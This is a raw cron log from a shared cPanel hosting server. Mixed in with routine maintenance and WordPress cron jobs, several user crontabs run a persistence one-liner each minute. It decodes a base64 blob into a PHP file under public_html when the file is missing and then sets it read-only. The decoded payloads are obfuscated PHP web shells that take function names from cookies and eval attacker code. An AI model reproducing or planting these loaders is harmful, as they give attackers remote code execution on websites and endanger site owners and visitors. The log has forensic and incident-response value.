Jun  7 14:29:02 medusa CROND[12732]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:29:02 medusa CROND[12736]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:29:02 medusa CROND[12739]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:29:02 medusa CROND[12748]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:29:02 medusa CROND[12749]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:29:02 medusa CROND[12750]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:30:01 medusa CROND[14853]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 14:30:01 medusa CROND[14859]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:30:01 medusa CROND[14866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:30:02 medusa CROND[14884]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:30:02 medusa CROND[14885]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:30:02 medusa CROND[14886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14887]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:30:02 medusa CROND[14889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 14:30:02 medusa CROND[14888]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:30:02 medusa CROND[14892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:30:02 medusa CROND[14894]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14895]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:30:02 medusa CROND[14899]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:30:02 medusa CROND[14901]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14907]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:30:02 medusa CROND[14908]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:30:02 medusa CROND[14912]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14913]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 14:30:02 medusa CROND[14914]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:30:02 medusa CROND[14911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:30:02 medusa CROND[14915]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14917]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:30:02 medusa CROND[14918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14919]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 14:30:02 medusa CROND[14927]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:30:02 medusa CROND[14928]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 14:30:02 medusa CROND[14931]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:30:02 medusa CROND[14939]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:30:02 medusa CROND[14941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:30:02 medusa CROND[14942]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 14:31:01 medusa CROND[17736]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:31:02 medusa CROND[17746]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:31:02 medusa CROND[17748]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:31:02 medusa CROND[17749]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 14:31:02 medusa CROND[17750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:31:02 medusa CROND[17752]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:31:02 medusa CROND[17751]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:31:02 medusa CROND[17753]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:31:02 medusa CROND[17758]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
